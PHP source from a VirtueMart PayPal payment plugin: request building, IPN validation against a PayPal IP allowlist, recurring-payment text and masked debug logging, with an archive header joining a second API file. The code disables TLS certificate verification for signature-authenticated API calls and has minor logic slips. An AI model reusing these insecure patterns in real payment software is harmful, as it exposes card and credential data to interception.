if (!isset($this->cart->pricesUnformatted)) { $this->cart->getCartPrices(); } } public function setOrder($order) { $this->order = $order; } public function setCustomerData($customerData) { $this->customerData = $customerData; } public function loadCustomerData() { $this->customerData = new PaypalHelperCustomerData(); $this->customerData->load(); $this->customerData->loadPost(); } function getItemName($name) { return substr(strip_tags($name), 0, 127); } function getProductAmount($productPricesUnformatted) { if ($productPricesUnformatted['salesPriceWithDiscount']) { return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPriceWithDiscount'], $this->_method->payment_currency); } else { return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPrice'], $this->_method->payment_currency); } } function addRulesBill($rules) { $handling = 0; foreach ($rules as $rule) { $handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], $this->_method->payment_currency); } return $handling; } /** * @return value */ function getHandlingAmount() { $handling = 0; $handling += $this->addRulesBill($this->cart->cartData['DBTaxRulesBill']); $handling += $this->addRulesBill($this->cart->cartData['taxRulesBill']); $handling += $this->addRulesBill($this->cart->cartData['DATaxRulesBill']); $handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPricePayment'], $this->_method->payment_currency); return $handling; } public function setTotal($total) { if (!class_exists('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . '/helpers/currencydisplay.php'); } $this->total = vmPSPlugin::getAmountValueInCurrency($total, $this->_method->payment_currency); $cd = CurrencyDisplay::getInstance($this->cart->pricesCurrency); } public function getTotal() { return $this->total; } public function getResponse() { return $this->response; } public function getRequest() { $this->debugLog($this->requestData, 'PayPal ' . $this->requestData['METHOD'] . ' Request variables ', 'debug'); return $this->requestData; } protected function sendRequest($post_data) { $retryCodes = array('401', '403', '404',); $this->post_data = $post_data; $post_url = $this->_getApiUrl(); $post_string = $this->ToUri($post_data); $curl_request = curl_init($post_url); curl_setopt($curl_request, CURLOPT_POSTFIELDS, $post_string); curl_setopt($curl_request, CURLOPT_HEADER, 0); curl_setopt($curl_request, CURLOPT_TIMEOUT, $this->_timeout); curl_setopt($curl_request, CURLOPT_RETURNTRANSFER, 1); if ($this->_method->authentication == 'certificate') { $certPath = ""; $passPhrase = ""; $this->getSSLCertificate($certPath, $passPhrase); curl_setopt($curl_request, CURLOPT_SSLCERT, $certPath); curl_setopt($curl_request, CURLOPT_SSLCERTPASSWD, $passPhrase); curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($curl_request, CURLOPT_SSL_VERIFYHOST, 2); } else { curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, false); } curl_setopt($curl_request, CURLOPT_POST, 1); if (preg_match('/xml/', $post_url)) { curl_setopt($curl_request, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); } $response = curl_exec($curl_request); if ($curl_error = curl_error($curl_request)) { $this->debugLog($curl_error, '----CURL ERROR----', 'error'); } /* $httpStatus = curl_getinfo($curl_request, CURLINFO_HTTP_CODE); $retries = 0; if(in_array($httpStatus, $retryCodes) && isset($this->retry)) { $this->debugLog("Got $httpStatus response from server. Retrying"); do { $result = curl_exec(debugLog); $httpStatus = curl_getinfo(debugLog, CURLINFO_HTTP_CODE); } while (in_array($httpStatus, self::$retryCodes) && ++$retries < $this->retry ); } */ $responseArray = array(); parse_str($response, $responseArray); // Break the NVP string to an array curl_close($curl_request); //$responseArray['invoice'] = $this->order['details']['BT']->order_number; $responseArray['custom'] = $this->context; $responseArray['method'] = $post_data['METHOD']; $this->response = $responseArray; if ($this->response['ACK'] == 'SuccessWithWarning') { $level = 'warning'; } else { $level = 'debug'; } $this->debugLog($post_data, 'PayPal ' . $post_data['METHOD'] . ' Request variables:', $level); $this->debugLog($this->response, 'PayPal response:', $level); return $this->response; } /** * Get ssl parameters for certificate based client authentication * * @param string $certPath - path to client certificate file (PEM formatted file) */ public function getSSLCertificate(&$certifPath, &$passPhrase) { $safePath = VmConfig::get('forSale_path', ''); if ($safePath) { $sslCertifFolder = $safePath . "paypal"; } $certifPath = $sslCertifFolder . DS . $this->api_certificate; } protected function setTimeOut($value = 45) { $this->_timeout = $value; } protected function _getPayPalUrl($protocol = 'https://', $includePath = true) { $url = ($this->_method->sandbox ) ? $protocol . 'www.sandbox.paypal.com' : $protocol . 'www.paypal.com'; if ($includePath) { $url .= '/cgi-bin/webscr'; } return $url; } protected function _getApiUrl() { $url_auth = ""; if ($this->_method->authentication == 'signature') { $url_auth = "-3t"; } $url_environment = ""; if ($this->_method->sandbox ) { $url_environment = ".sandbox"; } //return ($this->_method->sandbox=='sandbox') ? 'https://api-3t.sandbox.paypal.com/nvp' : 'https://api-3t.paypal.com/nvp'; return 'https://api' . $url_auth . $url_environment . '.paypal.com/nvp'; } protected function getDurationValue($duration) { $parts = explode('-', $duration); return $parts[0]; } protected function getDurationUnit($duration) { $parts = explode('-', $duration); return $parts[1]; } protected function truncate($string, $length) { return substr($string, 0, $length); } protected function _getFormattedDate($month, $year) { return sprintf('%02d%04d', $month, $year); } public function validate($enqueueMessage = true) { return true; } public function validatecheckout($enqueueMessage = true) { return true; } function ToUri($post_variables) { $poststring = ''; foreach ($post_variables AS $key => $val) { $poststring .= urlencode($key) . "=" . urlencode($val) . "&"; } $poststring = rtrim($poststring, "& "); return $poststring; } public function displayExtraPluginInfo() { $extraInfo = ''; if ($this->_method->payment_type == '_xclick-auto-billing' && $this->customerData->getVar('autobilling_max_amount')) { $cd = CurrencyDisplay::getInstance($this->_method->payment_currency); $extraInfo .= '
'; $extraInfo .= JText::_('VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT') . ': ' . $cd->priceDisplay($this->customerData->getVar('autobilling_max_amount')); } if ($this->_method->payment_type == '_xclick-subscriptions') { $extraInfo .= '
'; $extraInfo .= $this->getRecurringProfileDesc(); $extraInfo .= ''; } if ($this->_method->payment_type == '_xclick-payment-plan') { $extraInfo .= '
'; $extraInfo .= $this->getPaymentPlanDesc(); $extraInfo .= ''; } return $extraInfo; } public function getExtraPluginInfo() { $extraInfo = ''; return $extraInfo; } public function getLogoImage() { if ($this->_method->logoimg) { return JURI::base() . '/images/stories/virtuemart/payment/' . $this->_method->logoimg; } else { return JURI::base() . $this->vendor->images[0]->file_url; } } public function getRecurringProfileDesc() { // $recurringDesc = ''; // if ($this->_method->subcription_trials) { // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'
'; // } // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '
'; // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '
'; $durationValue = $this->getDurationValue($this->_method->subscription_duration); $durationUnit = $this->getDurationUnit($this->_method->subscription_duration); $recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_SUBSCRIPTION_DESCRIPTION', $durationValue, $durationUnit, $this->_method->subscription_term); return $recurringDesc; } public function getPaymentPlanDesc() { // $recurringDesc = ''; // if ($this->_method->subcription_trials) { // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'
'; // } // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '
'; // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '
'; $durationValue = $this->getDurationValue($this->_method->payment_plan_duration); $durationUnit = $this->getDurationUnit($this->_method->payment_plan_duration); $recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_DESCRIPTION', $this->_method->payment_plan_term, $durationValue, $durationUnit); if ($this->_method->payment_plan_defer && $this->_method->paypalproduct == 'std') { $defer_duration = $this->getDurationValue($this->_method->payment_plan_defer_duration); $defer_unit = $this->getDurationUnit($this->_method->payment_plan_defer_duration); $startDate = JFactory::getDate('+' . $defer_duration . ' ' . $defer_unit); $recurringDesc .= '
' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4'))); } else if ($this->_method->payment_plan_defer_strtotime) { $startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime); $recurringDesc .= '
' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4'))); //$recurringDesc .= '
'.JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT',date(JText::_('DATE_FORMAT_LC4'),strtotime('first day of next month'))); } return $recurringDesc; } /********************************/ /* Instant Payment Notification */ /********************************/ public function processIPN($paypal_data, $payments) { // check that the remote IP is from Paypal. if (!$this->checkPaypalIps($paypal_data)) { return false; } // Validate the IPN content upon PayPal if (!$this->validateIpnContent($paypal_data)) { return false; } //Check the PayPal response /* * https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_html_IPNandPDTVariables * The status of the payment: * Canceled_Reversal: A reversal has been canceled. For example, you won a dispute with the customer, and the funds for the transaction that was reversed have been returned to you. * Completed: The payment has been completed, and the funds have been added successfully to your account balance. * Created: A German ELV payment is made using Express Checkout. * Denied: You denied the payment. This happens only if the payment was previously pending because of possible reasons described for the pending_reason variable or the Fraud_Management_Filters_x variable. * Expired: This authorization has expired and cannot be captured. * Failed: The payment has failed. This happens only if the payment was made from your customer’s bank account. * Pending: The payment is pending. See pending_reason for more information. * Refunded: You refunded the payment. * Reversed: A payment was reversed due to a chargeback or other type of reversal. The funds have been removed from your account balance and returned to the buyer. The reason for the reversal is specified in the ReasonCode element. * Processed: A payment has been accepted. * Voided: This authorization has been voided. */ $order_history = array(); $order_history['customer_notified'] = 1; if ($paypal_data['txn_type'] == 'subscr_cancel') { $order_history['order_status'] = $this->_method->status_canceled; } elseif ($paypal_data['txn_type'] == 'mp_cancel') { $order_history['order_status'] = $this->_method->status_canceled; } elseif ($paypal_data['txn_type'] == 'subscr_eot') { $order_history['order_status'] = $this->_method->status_expired; } elseif ($paypal_data['txn_type'] == 'recurring_payment_expired') { $order_history['order_status'] = $this->_method->status_expired; } elseif ($paypal_data['txn_type'] == 'subscr_signup') { //TODO: Validate the response $order_history['order_status'] = $this->_method->status_success; } elseif ($paypal_data['txn_type'] == 'recurring_payment_profile_created') { if ($paypal_data['profile_status'] == 'Active') { $order_history['order_status'] = $this->_method->status_success; } else { $order_history['order_status'] = $this->_method->status_canceled; } } else if (strcmp($paypal_data['payment_status'], 'Completed') == 0) { $this->debugLog('Completed', 'payment_status', 'debug'); // 1. check the payment_status is Completed // 2. check that txn_id has not been previously processed if ($this->_check_txn_id_already_processed($payments, $paypal_data['txn_id'])) { $this->debugLog($paypal_data['txn_id'], '_check_txn_id_already_processed', 'debug'); return FALSE; } // 3. check email and amount currency is correct if ($paypal_data['txn_type'] != 'recurring_payment' && !$this->_check_email_amount_currency($payments, $paypal_data)) { return FALSE; } // now we can process the payment if (strcmp($paypal_data['payment_status'], 'Authorization') == 0) { $order_history['order_status'] = $this->_method->status_pending; } else { $order_history['order_status'] = $this->_method->status_success; } $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED', $this->order['details']['BT']->order_number); } elseif (strcmp($paypal_data['payment_status'], 'Pending') == 0) { $lang = JFactory::getLanguage(); $key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_' . strtoupper($paypal_data['pending_reason']); if (!$lang->hasKey($key)) { $key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT'; } $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING', $this->order['details']['BT']->order_number) . JText::_($key); $order_history['order_status'] = $this->_method->status_pending; } elseif (strcmp($paypal_data['payment_status'], 'Refunded') == 0) { if ($this->_is_full_refund($payments, $paypal_data)) { $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_REFUNDED', $this->order['details']['BT']->order_number); $order_history['order_status'] = $this->_method->status_refunded; } else { $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PARTIAL_REFUNDED', $this->order['details']['BT']->order_number); $order_history['order_status'] = isset($this->_method->status_partial_refunded) ? $this->_method->status_partial_refunded : 'R'; } } elseif (isset ($paypal_data['payment_status'])) { // voided $order_history['order_status'] = $this->_method->status_canceled; } else { /* * a notification was received that concerns one of the payment (since $paypal_data['invoice'] is found in our table), * but the IPN notification has no $paypal_data['payment_status'] * We just log the info in the order, and do not change the status, do not notify the customer */ $order_history['comments'] = JText::_('VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED'); $order_history['customer_notified'] = 0; } return $order_history; } protected function checkPaypalIps($paypal_data) { /* $test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0; if ($test_ipn == 1) { return true; } */ $order_number = $paypal_data['invoice']; // Get the list of IP addresses for www.paypal.com and notify.paypal.com if ($this->_method->sandbox ) { $paypal_iplist = gethostbynamel('ipn.sandbox.paypal.com'); $paypal_iplist = (array)$paypal_iplist; $this->debugLog($paypal_iplist, 'checkPaypalIps SANDBOX', 'debug', false); } else { $paypal_iplist1 = gethostbynamel('www.paypal.com'); $paypal_iplist2 = gethostbynamel('notify.paypal.com'); $paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66'); $paypal_iplist = array_merge($paypal_iplist1, $paypal_iplist2, $paypal_iplist3); // http://forum.virtuemart.net/index.php?topic=115375.msg406664#msg406664 $paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66'); // Added JH 2013-10-12 //Current IP addresses //------------api.paypal.com--------- $paypal_iplist_api = array('173.0.88.66', '173.0.88.98', '173.0.84.66', '173.0.84.98', '173.0.80.00', '173.0.80.01', '173.0.80.02', '173.0.80.03', '173.0.80.04', '173.0.80.05', '173.0.80.06', '173.0.80.07', '173.0.80.08', '173.0.80.09', '173.0.80.10', '173.0.80.11', '173.0.80.12', '173.0.80.13', '173.0.80.14', '173.0.80.15', '173.0.80.16', '173.0.80.17', '173.0.80.18', '173.0.80.19', '173.0.80.20'); //------------api-aa.paypal.com------------ $paypal_iplist_api_aa = array('173.0.88.67', '173.0.88.99', '173.0.84.99', '173.0.84.67'); //'------------api-3t.paypal.com------------' $paypal_iplist_api_3t_aa = array('173.0.88.69', '173.0.88.101', '173.0.84.69', '173.0.84.101'); //------------api-aa-3t.paypal.com------------ $paypal_iplist_api_aa_3t = array('173.0.88.68', '173.0.88.100', '173.0.84.68', '173.0.84.100'); //------------notify.paypal.com (IPN delivery)------------ $paypal_iplist_notify = array('173.0.81.1', '173.0.81.33'); //'-----------reports.paypal.com-----------' $paypal_iplist_reports = array('66.211.168.93', '173.0.84.161', '173.0.84.198', '173.0.88.161', '173.0.88.198'); //'------------www.paypal.com------------' //'Starting September 12, 2012 www.paypal.com will start resolving to a dynamic list of IP addresses and as such should not be whitelisted.' //'For more information on IPNs please go here.' //'------------ipnpb.paypal.com------------' $paypal_iplist_ipnb = array('64.4.240.0', '64.4.240.1', '64.4.240.2', '64.4.240.3', '64.4.240.4', '64.4.240.5', '64.4.240.6', '64.4.240.7', '64.4.240.8', '64.4.240.9', '64.4.240.10', '64.4.240.11', '64.4.240.12', '64.4.240.13', '64.4.240.14', '64.4.240.15', '64.4.240.16', '64.4.240.17', '64.4.240.18', '64.4.240.19', '64.4.240.20', '118.214.15.186', '118.215.103.186', '118.215.119.186', '118.215.127.186', '118.215.15.186', '118.215.151.186', '118.215.159.186', '118.215.167.186', '118.215.199.186', '118.215.207.186', '118.215.215.186', '118.215.231.186', '118.215.255.186', '118.215.39.186', '118.215.63.186', '118.215.7.186', '118.215.79.186', '118.215.87.186', '118.215.95.186', '202.43.63.186', '69.192.31.186', '72.247.111.186', '88.221.43.186', '92.122.143.186', '92.123.151.186', '92.123.159.186', '92.123.163.186', '92.123.167.186', '92.123.179.186', '92.123.183.186'); // JH $paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3, // Added JH 2013-10-12 $paypal_iplist_api, $paypal_iplist_api_aa, $paypal_iplist_api_3t_aa, $paypal_iplist_api_aa_3t, $paypal_iplist_notify, $paypal_iplist_ipnb // JH ); $paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3); $this->debugLog($paypal_iplist, 'checkPaypalIps PRODUCTION', 'debug', false); } $this->debugLog($_SERVER['REMOTE_ADDR'], 'checkPaypalIps REMOTE ADDRESS', 'debug', false); // test if the remote IP connected here is a valid IP address if (!in_array($_SERVER['REMOTE_ADDR'], $paypal_iplist)) { $text = "Error with REMOTE IP ADDRESS = " . $_SERVER['REMOTE_ADDR'] . ". The remote address of the script posting to this notify script does not match a valid PayPal IP address\n These are the valid IP Addresses: " . implode(",", $paypal_iplist) . "The Order ID received was: " . $order_number; $this->debugLog($text, 'checkPaypalIps', 'error', false); return false; } return true; } protected function validateIpnContent($paypal_data) { $test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0; if ($test_ipn == 1) { //return true; } // Paypal wants to open the socket in SSL $port = 443; $paypal_url = $this->_getPaypalURL('ssl://', false); $paypal_url_header = $this->_getPaypalURL('', false); $protocol = 'ssl://'; /* * Before we can trust the contents of the message, we must first verify that the message came from PayPal. * To verify the message, we must send back the contents in the exact order they * were received and precede it with the command _notify-validate, */ // read the post from PayPal system and add 'cmd' $post_msg = 'cmd=_notify-validate'; if(function_exists('get_magic_quotes_gpc')) { $get_magic_quotes_exists = true; } foreach ($paypal_data as $key => $value) { if($get_magic_quotes_exists == true && get_magic_quotes_gpc() == 1) { $value = str_replace('\r\n', "QQLINEBREAKQQ", $value); $value = urlencode(stripslashes($value)); $value = str_replace("QQLINEBREAKQQ", "\r\n", $value); } else { $value = urlencode($value); } $post_msg .= "&$key=$value"; } $header="POST /cgi-bin/webscr HTTP/1.1\r\n"; $header .= "User-Agent: PHP/" . phpversion () . "\r\n"; $header .= "Referer: " . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . @$_SERVER['QUERY_STRING'] . "\r\n"; $header .= "Server: " . $_SERVER['SERVER_SOFTWARE'] . "\r\n"; $header .= "Host: " . $paypal_url_header . ":" . $port . "\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen ($post_msg) . "\r\n"; //$header .= "Accept: */*\r\n\r\n"; $header .="Connection: close\r\n\r\n"; $fps = fsockopen($paypal_url, $port, $errno, $errstr, 30); $valid_ipn = false; if (!$fps) { $this->debugLog(JText::sprintf('VMPAYMENT_PAYPAL_ERROR_POSTING_IPN', $errstr, $errno), 'validateIpnContent', 'error' , false); } else { $return = fputs($fps, $header . $post_msg); if ($return===false) { $this->debugLog("FALSE", 'validateIpnContent FPUTS', 'error', false); return FALSE; } $res = ''; while (!feof($fps)) { $res .= fgets($fps, 1024); } fclose($fps); // Inspect IPN validation result and act accordingly $valid_ipn = strstr($res, "VERIFIED"); if (!$valid_ipn) { if (strstr($res, "INVALID")) { $errorInfo=array("paypal_data" =>$paypal_data, 'post_msg'=> $post_msg, 'paypal_res' =>$res); $this->debugLog($errorInfo, JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION'), 'error', false); } else { $this->debugLog(JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION') . ": NO ANSWER FROM PAYPAL", 'validateIpnContent', 'error', false); } } } $this->debugLog('valid_ipn: ' . $valid_ipn, 'validateIpnContent', 'debug', false); return $valid_ipn; } protected function _check_txn_id_already_processed($payments, $txn_id) { if ($this->order['details']['BT']->order_status == $this->_method->status_success) { foreach ($payments as $payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if ($paypal_data->txn_id == $txn_id) { return true; } } } return false; } protected function _check_email_amount_currency($payments, $paypal_data) { /* * TODO Not checking yet because config do not have primary email address * Primary email address of the payment recipient (that is, the merchant). * If the payment is sent to a non-primary email address on your PayPal account, * the receiver_email is still your primary email. */ if ($this->_method->paypalproduct =="std") { if (strcasecmp($paypal_data['receiver_email'],$this->merchant_email)!=0 ) { $errorInfo=array("paypal_data" =>$paypal_data, 'merchant_email' =>$this->merchant_email); $this->debugLog($errorInfo, 'IPN notification: wrong merchant_email', 'error', false); return false; } } if (($payments[0]->payment_order_total == $paypal_data['mc_gross']) and ($this->currency_code_3 == $paypal_data['mc_currency'])) { return TRUE; } $errorInfo=array("paypal_data" =>$paypal_data, 'payment_order_total' =>$payments[0]->payment_order_total, 'currency_code_3'=>$this->currency_code_3); $this->debugLog($errorInfo, 'IPN notification with invalid amount or currency or email', 'error', false); return FALSE; } static function getPaypalCreditCards() { return array( 'Visa', 'Mastercard', 'Amex', 'Discover', 'Maestro', ); } function _is_full_refund($payment, $paypal_data) { if (($payment->payment_order_total == (-1 * $paypal_data['mc_gross']))) { return TRUE; } else { return FALSE; } } function handleResponse() { if ($this->response) { if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') { $error = ''; $public_error = ''; for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) { $error .= $this->response["L_ERRORCODE" . $i]; $message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i]; $error .= ": " . $message . "
"; } if ($this->_method->debug) { $public_error = $error; } $this->debugLog($this->response, 'handleResponse:', 'debug'); VmError($error, $public_error); return false; } elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) { return true; } else { // Unexpected ACK type. Log response and inform the buyer that the // transaction must be manually investigated. $error = ''; $public_error = ''; $error="Unexpected ACK type:". $this->response['ACK']; $this->debugLog($this->response, 'Unexpected ACK type:', 'debug'); if ($this->_method->debug) { $public_error = $error; } VmError($error, $public_error); return false; } } } function onShowOrderBEPayment($data) { $showOrderBEFields = $this->getOrderBEFields(); $prefix = 'PAYPAL_RESPONSE_'; $html = ''; if ($data->ACK == 'SuccessWithWarning' && $data->L_ERRORCODE0 == self::FMF_PENDED_ERROR_CODE && $data->PAYMENTSTATUS == "Pending" ) { $showOrderField = 'L_SHORTMESSAGE0'; $html .= $this->paypalPlugin->getHtmlRowBE($prefix . $showOrderField, $this->highlight($data->$showOrderField)); } if (($data->ACK == 'Failure' OR $data->ACK == 'FailureWithWarning')) { $showOrderField = 'L_SHORTMESSAGE0'; $html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField)); $showOrderField = 'L_LONGMESSAGE0'; $html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField)); } foreach ($showOrderBEFields as $key => $showOrderBEField) { if (($showOrderBEField == 'PAYMENTINFO_0_REASONCODE' and $data->$showOrderBEField != 'None') OR ($showOrderBEField == 'PAYMENTINFO_0_ERRORCODE' and $data->$showOrderBEField != 0) OR ($showOrderBEField != 'PAYMENTINFO_0_REASONCODE' and $showOrderBEField != 'PAYMENTINFO_0_ERRORCODE') ) { if (isset($data->$showOrderBEField)) { $key = $prefix . $key; $html .= $this->paypalPlugin->getHtmlRowBE($key, $data->$showOrderBEField); } } } return $html; } function onShowOrderBEPaymentByFields($payment) { return NULL; } /*********************/ /* Log and Reporting */ /*********************/ public function debug($subject, $title = '', $echo = true) { $debug = '
'; $debug .= ($title) ? '
' . $title . ':
' : ''; //$debug .= '
';
		$debug .= str_replace("=>", "⇒", str_replace("Array", "Array", nl2br(str_replace(" ", "   ", print_r($subject, true)))));
		//$debug .= '
'; $debug .= '
'; if ($echo) { echo $debug; } else { return $debug; } } function highlight($string) { return '' . $string . ''; } public function debugLog($message, $title = '', $type = 'message', $echo = false, $doVmDebug=false) { //Nerver log the full credit card number nor the CVV code. if (is_array($message)) { if (array_key_exists('ACCT', $message)) { $message['ACCT'] = "**** **** **** " . substr($message['ACCT'], -4); } if (array_key_exists('CVV2', $message)) { $message['CVV2'] = str_repeat('*', strlen($message['CVV2'])); } if (array_key_exists('signature', $message)) { $message['signature'] = '**MASKED**'; } if (array_key_exists('api_password', $message)) { $message['api_password'] = '**MASKED**'; } } if ($this->_method->debug) { $this->debug($message, $title, true); } if ($echo) { echo $message . '
'; } $this->paypalPlugin->debugLog($message, $title, $type, $doVmDebug); } } helpers/paypalapi.php000066600000042302151374100140010700 0ustar00_method->sandbox ) { $this->api_login_id = $this->_method->sandbox_api_login_id; $this->api_signature = $this->_method->sandbox_api_signature; $this->api_password = $this->_method->sandbox_api_password; } else { $this->api_login_id = $this->_method->api_login_id; $this->api_signature = $this->_method->api_signature; $this->api_password = $this->_method->api_password; } if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) { $text=JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text,$text); } } function initPostVariables($paypalMethod) { $post_variables = Array(); $post_variables['METHOD'] = $paypalMethod; //$post_variables['version'] = "106.0"; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/ $post_variables['version'] = "104.0"; $post_variables['USER'] = $this->api_login_id; $post_variables['PWD'] = $this->api_password; $post_variables['SIGNATURE'] = $this->api_signature; $post_variables['BUTTONSOURCE'] = self::BNCODE;; $post_variables['CURRENCYCODE'] = $this->currency_code_3; if (is_array($this->order) && is_object($this->order['details']['BT'])) { $post_variables['INVNUM'] = $this->order['details']['BT']->order_number; } else if (is_object($this->order)) { $post_variables['INVNUM'] = $this->order->order_number; } $post_variables['IPADDRESS'] = ($_SERVER['REMOTE_ADDR']=='::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR']; return $post_variables; } function addBillTo(&$post_variables) { $addressBT = $this->order['details']['BT']; //Bill To $post_variables['FIRSTNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['LASTNAME'] = isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : ''; $post_variables['STREET'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : ''; $post_variables['CITY'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : ''; $post_variables['ZIP'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : ''; $post_variables['STATE'] = isset($addressBT->virtuemart_state_id) ? ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : ''; $post_variables['COUNTRYCODE'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code'); } function addShipTo(&$post_variables) { $addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); //Ship To $post_variables['SHIPTONAME'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; $post_variables['SHIPTOSTREET'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; $post_variables['SHIPTOCITY'] = isset($addressST->city) ? $this->truncate($addressST->city, 40) : ''; $post_variables['SHIPTOZIP'] = isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : ''; $post_variables['SHIPTOSTATE'] = isset($addressST->virtuemart_state_id) ? ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code') : ''; $post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code'); } function addCreditCard(&$post_variables) { $post_variables['ACCT'] = $this->customerData->getVar('cc_number'); $post_variables['CVV2'] = $this->customerData->getVar('cc_cvv'); $post_variables['CREDITCARDTYPE'] = $this->customerData->getVar('cc_type'); $post_variables['EXPDATE'] = $this->_getFormattedDate($this->customerData->getVar('cc_expire_month'), $this->customerData->getVar('cc_expire_year')); } public function ManageCheckout() { switch ($this->_method->payment_type) { case '_xclick': return $this->DoPayment(); case '_xclick-subscriptions': return $this->CreateRecurringPaymentsProfile(); case '_xclick-payment-plan': return $this->CreatePaymentPlanProfile(); } } public function ManageCancelOrder($payment) { $this->RefundTransaction($payment); /* switch ($this->_method->payment_type) { case '_xclick': return $this->RefundTransaction($payment); case '_xclick-subscriptions': case '_xclick-payment-plan': return $this->ManageRecurringPaymentsProfileStatus($payment); } */ } function DoPayment() { $post_variables = $this->initPostVariables('DoDirectPayment'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addCreditCard($post_variables); $post_variables['PAYMENTACTION'] = $this->_method->payment_action; $post_variables['AMT'] = $this->total; $this->sendRequest($post_variables); if ($this->handleResponse()) { if ($this->_method->payment_action == 'Authorization') { $this->response['PAYMENTSTATUS'] = 'Pending'; $this->response['PENDINGREASON'] = 'authorization'; } else { $this->response['PAYMENTSTATUS'] = 'Completed'; $this->response['PENDINGREASON'] = 'None'; } $this->response['paypal_response_txn_type'] = 'DoDirectPayment'; return true; } else { return false; } } public function CreateRecurringPaymentsProfile() { //https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/ //https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/ $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); 